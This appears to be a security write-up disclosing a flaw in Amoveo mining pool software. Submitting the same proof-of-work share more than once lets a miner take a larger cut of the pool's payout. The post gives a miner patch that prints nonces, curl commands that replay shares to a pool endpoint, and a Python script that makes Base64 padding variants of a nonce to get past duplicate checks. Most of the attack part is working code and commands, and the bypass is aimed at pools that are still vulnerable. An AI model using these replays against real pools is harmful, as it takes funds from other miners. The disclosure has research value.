Duplicating work shares in Amoveo mining pools

Sending duplicated proofs of work

zack-bitcoin/amoveo-mining-pool software didn’t check for same POW shares send multiple times, allowing to steal funds from mining pool. I modified VeoCL OpenCL miner to print nonce every time it’s found:

diff --git a/client.c b/client.c
index 7633731..8c4fad3 100644
--- a/client.c
+++ b/client.c
@@ -268,6 +270,8 @@ int submitnonce(char *nonce) {
        nonce64[olen] = 0;

        sprintf(buffer, "POST %s HTTP/1.1\r\ncontent-type: application/octet-stream\r\ncontent-length: %i\r\nhost: %s:%i\r\nconnection: close\r\n\r\n[\"work\",\"%s\",\"%s\"]", workPath, 14 + (int)strlen(address) + olen, hostname, poolport, nonce64, address);
+       printf("nonce64: %s\n", nonce64);

then you can send duplicated work using curl:

curl -XPOST -i examplepool.com:8880/work -d '["work", nonce, veo_address_to_claim_shares]'

for example

curl -XPOST -i examplepool.com:8880/work -d '["work","RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvN=","BAM2wai15fg4GuDl5P+bcwrVUM352djvd9PeExrluvVywxPjZPr8QQcgI7NBzrk5c0sby+6NrS8Xs/cWg/2cI20="]'

It was fixed with commits f69a0d8b83def09f29018cfa380a5c73e639906c and ad9bfc31696b5d8d4412c2ec9f24537944aeb5ec.

Bypassing mechanism detecting duplicate shares

Some mining pools use custom implementations of mining pools and they mark duplicated shares as invalid.

However they only verify that Base64 encoded nonces are not duplicated and given that base64 b64decode is surjective function (many arguments map to the same result) because of how padding in Base64 works it’s possible to generate multiple duplicates. Depending on the implementation, it’s also possible to add any number of whitespace characters in any place and they are stripped before actual decoding, some python example:

In [1]: from base64 import b64decode
In [2]: b64decode("JTaERQAA AADCVTcjAAAAA AA\nfWAAAU8u=") == b64decode("JTaERQAAAADCVTcjAAAAAAAfWAAAU8u=")
Out[2]: True

I created sample Python script to bruteforce a few possible Base64 strings with modified padding.

from base64 import b64decode

def find_duplicate_nonces(nonce):
    print("[+] Finding duplicates for nonce %s" % (nonce))
    pos = -2

    for diff in list(range(-4,0)) + list(range(1,5)):
        nonce_copy = list(nonce)
        nonce_copy[pos] = chr(ord(nonce[pos])+diff)
        nonce_copy = ''.join(nonce_copy)
        try:
            equal = (b64decode(nonce) == b64decode(nonce_copy))
        except:
            continue
        if equal:
            print(nonce_copy)

find_duplicate_nonces("JTaERQAAAADCVTcjAAAAAAAfWAAAU8s=")
find_duplicate_nonces("RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvN=")

[+] Finding duplicates for nonce JTaERQAAAADCVTcjAAAAAAAfWAAAU8s=
JTaERQAAAADCVTcjAAAAAAAfWAAAU8t=
JTaERQAAAADCVTcjAAAAAAAfWAAAU8u=
JTaERQAAAADCVTcjAAAAAAAfWAAAU8v=
[+] Finding duplicates for nonce RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvN=
RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvM=
RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvO=
RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvP=

Then once again you can submit your shares to the pool endpoint:
curl -XPOST -i examplepool.com:8880/work -d '["work", nonce, veo_address_to_claim_shares]'